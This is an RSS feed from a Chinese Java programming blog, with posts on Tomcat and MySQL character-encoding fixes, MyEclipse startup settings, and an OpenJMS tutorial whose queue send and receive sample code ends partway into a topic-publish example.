﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-软件艺术思考者-随笔分类-about java</title><link>http://www.blogjava.net/zhanglijun33/category/17943.html</link><description>混沌，彷徨，立志，蓄势...</description><language>zh-cn</language><lastBuildDate>Wed, 08 Jul 2015 10:51:36 GMT</lastBuildDate><pubDate>Wed, 08 Jul 2015 10:51:36 GMT</pubDate><ttl>60</ttl><item><title>tomcat get传值时的中文乱码问题。</title><link>http://www.blogjava.net/zhanglijun33/archive/2015/07/08/426102.html</link><dc:creator>智者无疆</dc:creator><author>智者无疆</author><pubDate>Wed, 08 Jul 2015 10:37:00 GMT</pubDate><guid>http://www.blogjava.net/zhanglijun33/archive/2015/07/08/426102.html</guid><wfw:comment>http://www.blogjava.net/zhanglijun33/comments/426102.html</wfw:comment><comments>http://www.blogjava.net/zhanglijun33/archive/2015/07/08/426102.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zhanglijun33/comments/commentRss/426102.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zhanglijun33/services/trackbacks/426102.html</trackback:ping><description><![CDATA[<p>server.xml里，connect修改为：</p><p>&lt;Connector port="8080" protocol="HTTP/1.1" <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; connectionTimeout="20000" <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; redirectPort="8443" <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; useBodyEncodingForURI="true" <br />&nbsp;&nbsp;&nbsp;&nbsp;URIEncoding="UTF-8"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /&gt;</p><img src ="http://www.blogjava.net/zhanglijun33/aggbug/426102.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zhanglijun33/" target="_blank">智者无疆</a> 2015-07-08 18:37 <a href="http://www.blogjava.net/zhanglijun33/archive/2015/07/08/426102.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>myeclipse参数配置</title><link>http://www.blogjava.net/zhanglijun33/archive/2015/07/08/426101.html</link><dc:creator>智者无疆</dc:creator><author>智者无疆</author><pubDate>Wed, 08 Jul 2015 10:33:00 GMT</pubDate><guid>http://www.blogjava.net/zhanglijun33/archive/2015/07/08/426101.html</guid><wfw:comment>http://www.blogjava.net/zhanglijun33/comments/426101.html</wfw:comment><comments>http://www.blogjava.net/zhanglijun33/archive/2015/07/08/426101.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zhanglijun33/comments/commentRss/426101.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zhanglijun33/services/trackbacks/426101.html</trackback:ping><description><![CDATA[<div>1.myeclipse参数配置-解决代码不提示不保存等问题,下载后去掉.txt，然后导入myeclipse里的prefrences.<br /><a href="/Files/zhanglijun33/myeclipse参数配置-解决代码不提示不保存等问题.epf.txt">/Files/zhanglijun33/myeclipse参数配置-解决代码不提示不保存等问题.epf.txt</a>&nbsp; &nbsp;<br />2.myeclipse的启动参数："D:\install\myeclipse10.7\MyEclipse 10\myeclipse.exe" -clean -Xms256m -Xmx768m -XX:MaxNewSize=256m -XX:MaxPermSize=768m</div><img src ="http://www.blogjava.net/zhanglijun33/aggbug/426101.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zhanglijun33/" target="_blank">智者无疆</a> 2015-07-08 18:33 <a href="http://www.blogjava.net/zhanglijun33/archive/2015/07/08/426101.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>正常的sql（带中文参数），在mysql-front里可以查出数据，在程序里却查不出来</title><link>http://www.blogjava.net/zhanglijun33/archive/2015/07/08/426098.html</link><dc:creator>智者无疆</dc:creator><author>智者无疆</author><pubDate>Wed, 08 Jul 2015 10:23:00 GMT</pubDate><guid>http://www.blogjava.net/zhanglijun33/archive/2015/07/08/426098.html</guid><wfw:comment>http://www.blogjava.net/zhanglijun33/comments/426098.html</wfw:comment><comments>http://www.blogjava.net/zhanglijun33/archive/2015/07/08/426098.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zhanglijun33/comments/commentRss/426098.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zhanglijun33/services/trackbacks/426098.html</trackback:ping><description><![CDATA[<div><span style="color: #000000; font-family: verdana, 'courier new'; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 1; word-spacing: 0px; -webkit-text-stroke-width: 0px; display: inline !important; float: none;">原因：中文参数字符编码有问题，在程序里调试的时候虽然不是乱码，但数据库依旧不认识。这需要在jdbc.mysql.url里指定数据库使用的字符编码：utf-8.</span><br style="color: #000000; font-family: verdana, 'courier new'; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 1; word-spacing: 0px; -webkit-text-stroke-width: 0px;" /><span style="color: #000000; font-family: verdana, 'courier new'; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 1; word-spacing: 0px; -webkit-text-stroke-width: 0px; display: inline !important; float: none;">jdbc.properties里</span><br style="color: #000000; font-family: verdana, 'courier new'; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 1; word-spacing: 0px; -webkit-text-stroke-width: 0px;" /><span style="color: #000000; font-family: verdana, 'courier new'; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 1; word-spacing: 0px; -webkit-text-stroke-width: 0px; display: inline !important; float: none;">mysql.jdbc.url=jdbc:mysql://192.168.1.246:3306/wxb_site1?useUnicode=true&amp;characterEncoding=utf-8</span><br style="color: #000000; font-family: verdana, 'courier new'; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 1; word-spacing: 0px; -webkit-text-stroke-width: 0px;" /><span style="color: #000000; font-family: verdana, 'courier new'; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 1; word-spacing: 0px; -webkit-text-stroke-width: 0px; display: inline !important; float: none;">jndi的写法：&nbsp;context.xml里的写法：&lt;Resource name="jndi/wxb_site"&nbsp; auth="Container"&nbsp;</span><br style="color: #000000; font-family: verdana, 'courier new'; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 1; word-spacing: 0px; -webkit-text-stroke-width: 0px;" /><span style="color: #000000; font-family: verdana, 'courier new'; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 1; word-spacing: 0px; -webkit-text-stroke-width: 0px; display: inline !important; float: none;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; type="javax.sql.DataSource" username="root" password="root"&nbsp;&nbsp;&nbsp;</span><br style="color: #000000; font-family: verdana, 'courier new'; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 1; word-spacing: 0px; -webkit-text-stroke-width: 0px;" /><span style="color: #000000; font-family: verdana, 'courier new'; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 1; word-spacing: 0px; -webkit-text-stroke-width: 0px; display: inline !important; float: none;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; driverClassName="com.mysql.jdbc.Driver"</span><span style="font-family: verdana, 'courier new'; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 1; word-spacing: 0px; -webkit-text-stroke-width: 0px; color: #ff0000;">&nbsp;url="jdbc:mysql://192.168.1.246:3306/wxb_site1?useUnicode=true&amp;amp;characterEncoding=utf-8"<br /></span><span style="color: #000000; font-family: verdana, 'courier new'; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 1; word-spacing: 0px; -webkit-text-stroke-width: 0px; display: inline !important; float: none;">&nbsp;&nbsp; maxActive="100" maxIdle="10" maxWait="-1"/&gt;</span></div><img src ="http://www.blogjava.net/zhanglijun33/aggbug/426098.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zhanglijun33/" target="_blank">智者无疆</a> 2015-07-08 18:23 <a href="http://www.blogjava.net/zhanglijun33/archive/2015/07/08/426098.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>JMS服务器openJms入门</title><link>http://www.blogjava.net/zhanglijun33/archive/2009/09/08/JMS.html</link><dc:creator>智者无疆</dc:creator><author>智者无疆</author><pubDate>Tue, 08 Sep 2009 03:25:00 GMT</pubDate><guid>http://www.blogjava.net/zhanglijun33/archive/2009/09/08/JMS.html</guid><wfw:comment>http://www.blogjava.net/zhanglijun33/comments/294271.html</wfw:comment><comments>http://www.blogjava.net/zhanglijun33/archive/2009/09/08/JMS.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/zhanglijun33/comments/commentRss/294271.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zhanglijun33/services/trackbacks/294271.html</trackback:ping><description><![CDATA[&nbsp;首
先可以到网站上下载最新的openjms版本，然后启动bin下的startup.bat就启动服务了，然后可以启动admin.bat进入管理界面（非
必要步骤），然后分别运行samples下的basic例子就可以看到效果了，当然以前有篇文章介绍的不错，可以参考一下，不过时间上比较老了，做为参考
还是可以的。<br />
<br />
本文介绍开源的JMS服务器openJms，及怎样使用openJms来构建系统之间健全、高度可用的通讯，从而简化企业级应用的开发。
openJms符合SUN的JMS API
1.0.2规范，支持消息队列，还支持消息传递的发布/订阅模式，本文先就系统服务的搭建及JMS的非结构化消息发送和接收进行说明。<br />
<br />
JMS 有五种消息类型。三种结构化或半结构化的消息类型（MapMessage、ObjectMessage 和
StreamMessage）以及两种非结构化的或自由格式的消息类型（TextMessage 和
BytesMessage）。而这里虽然我们只对非结构化消息进行说明，但非结构化的消息格式却能够更好地进行交互操作，因为它们在消息上很少利用结构，
在此基础上与XML再进行结合，将能方便的进行更好的扩展，XML相关简化操作参考《Jaxb来实现Java-XML的转换》。<br />
<br />
下面具体来介绍服务器搭建，在http://openjms.sourceforge.net/downloads.html下载openJms，解压后
可以直接使用，在 "openjms-0.7.6.1"bin 里，有openJms的运行脚本，执行 startup
启动，弹出一个新的窗口，服务就运行在新窗口内，shutdown 为停止命令：<br />
<br />
服务运行后，就可以开始使用JMS服务了，至此服务搭建完毕，简单得不能再简单了。<br />
<br />
下面是消息发送和接收的开发，开发中需要的jar包在"openjms-0.7.6.1"lib里可以找到：<br />
openjms-0.7.6.1.jar<br />
jms-1.0.2a.jar<br />
exolabcore-0.3.7.jar<br />
commons-logging-1.0.3.jar<br />
<br />
把上面的类包加入到项目中，下面是消息发送服务的代码：<br />
<br />
package javayou.demo.openjms;<br />
import java.util.*;<br />
import javax.jms.*;<br />
import javax.naming.*;<br />
<br />
public class QueueSend {<br />
&nbsp;&nbsp;&nbsp;  public static void main(String[] args) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  try {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //取得JNDI上下文和连接<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Hashtable properties = new Hashtable();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  properties.put(<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Context.INITIAL_CONTEXT_FACTORY,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  "org.exolab.jms.jndi.InitialContextFactory");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //openJms默认的端口是1099<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  properties.put(Context.PROVIDER_URL,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  "rmi://localhost:1099/");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Context context = new InitialContext(properties);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //获得JMS信息连接队列工厂<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  QueueConnectionFactory queueConnectionFactory =<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  (QueueConnectionFactory) context.lookup(<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  "JmsQueueConnectionFactory");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //获得JMS信息连接队列<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  QueueConnection queueConnection =<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  queueConnectionFactory.createQueueConnection();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //产生队列Session，设置事务为false，自动应答消息接收<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  QueueSession queueSession =<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  queueConnection.createQueueSession(<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  false,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Session.AUTO_ACKNOWLEDGE);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //获得默认内建在JMS里的队列之一：queue1<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Queue queue = (Queue) context.lookup("queue1");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //产生JMS队列发送器<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  QueueSender queueSender =<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  queueSession.createSender(queue);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //发送数据到JMS<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  TextMessage message = queueSession.createTextMessage();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  message.setText("Hello, I'm openJms.");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  queueSender.send(message);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  System.out.println(<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ""信息写入JMS服务器队列");<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //以下做清除工作，代码略<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // ... ...<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  } catch (Exception e) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  e.printStackTrace();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  }<br />
&nbsp;&nbsp;&nbsp;  }<br />
}<br />
<br />
执行程序发送消息，然后打开JMS控制台，用 admin 命令启动管理平台，点击菜单Actions－Connections－online，出现界面如下：<br />
<br />
可以看到JSM默认的队列queue1里已经有1条消息了，而其他的队列还是空着的。<br />
<br />
下面我们来看看消息接收服务的代码：<br />
<br />
package javayou.demo.openjms;<br />
import java.util.*;<br />
import javax.jms.*;<br />
import javax.naming.*;<br />
public class QueueReceiveSynchronous {<br />
&nbsp;&nbsp;&nbsp;  public static void main(String[] args) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  try {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //取得JNDI上下文和连接<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Hashtable properties = new Hashtable();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  properties.put(<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Context.INITIAL_CONTEXT_FACTORY,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  "org.exolab.jms.jndi.InitialContextFactory");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  properties.put(Context.PROVIDER_URL,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  "rmi://localhost:1099/");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Context context = new InitialContext(properties);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //获得JMS信息连接队列工厂<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  QueueConnectionFactory queueConnectionFactory =<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  (QueueConnectionFactory) context.lookup(<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  "JmsQueueConnectionFactory");<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //获得JMS信息连接队列<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  QueueConnection queueConnection =<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  queueConnectionFactory.createQueueConnection();<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //启动接收队列线程<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  queueConnection.start();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //产生队列Session，设置事务为false，自动应答消息接收<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  QueueSession queueSession =<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  queueConnection.createQueueSession(<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  false,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Session.AUTO_ACKNOWLEDGE);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //获得默认内建在JMS里的队列之一：queue1<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Queue queue = (Queue) context.lookup("queue1");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //产生JMS队列接收器<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  QueueReceiver queueReceiver =<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  queueSession.createReceiver(queue);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //通过同步的方法接收消息<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Message message = queueReceiver.receive();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  String messageText = null;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  if (message instanceof TextMessage)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  messageText = ((TextMessage) message).&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  getText();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  System.out.println(messageText);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //以下做清除工作，代码略<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // ... ...<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  } catch (Exception e) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  e.printStackTrace();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  }<br />
&nbsp;&nbsp;&nbsp;  }<br />
}<br />
<br />
编译后运行接收信息服务，可以看到接收到并打印之前发送的消息，再看看控制台，发现queue1的消息队列变为0，消息已被读取，消息发送和接收到此结束。<br />
<br />
<br />
<br />
上篇openJms介绍 (一) 提到了openJms的构建及消息的发送和接收，这篇主要了解消息的发布和订阅。JMS
的发布/订阅模型定义了如何向一个内容节点发布和订阅消息，内容节点也叫主题(topic)，主题是为发布者(publisher)和订阅者
(subscribe)
提供传输的中介。发布/订阅模型使发布者和订阅者之间不需要直接通讯（如RMI）就可保证消息的传送，有效解决系统间耦合问题（当然有这个需要才行），还
有就是提供了一对一、一对多的通讯方式，比较灵活。<br />
<br />
先介绍JMS里2个概念，持久订阅模式和非持久订阅模式，其实也是发布/订阅模型在可靠性上提供的2种方式：<br />
<br />
非持久订阅模式：只有当客户端处于激活状态，也就是和JMS 服务器保持连接的状态下，才能接收到发送到某个Topic的消息，而当客户端处于离线状态时，则这个时间段发到Topic的消息将会永远接收不到。<br />
<br />
持久订阅模式：客户端向JMS 注册一个识别自己身份的ID，当这个客户端处于离线时，JMS 服务器会为这个ID 保存所有发送到主题的消息，当客户再次连接到JMS 服务器时，会根据自己的ID 得到所有当自己处于离线时发送到主题的消息，即消息永远能接收到。<br />
<br />
下面我们就接着来看openJms在发布/订阅模式上的表现，由于篇幅关系，在这里只讲述非持久订阅模式，持久订阅模式可以根据JMS的标准来试。<br />
<br />
消息发布的代码如下：<br />
<br />
package javayou.demo.openjms;<br />
import java.util.*;<br />
import javax.jms.*;<br />
import javax.naming.*;<br />
public class TopicPublish {<br />
&nbsp;&nbsp;&nbsp;  public static void main(String[] args) {<br />
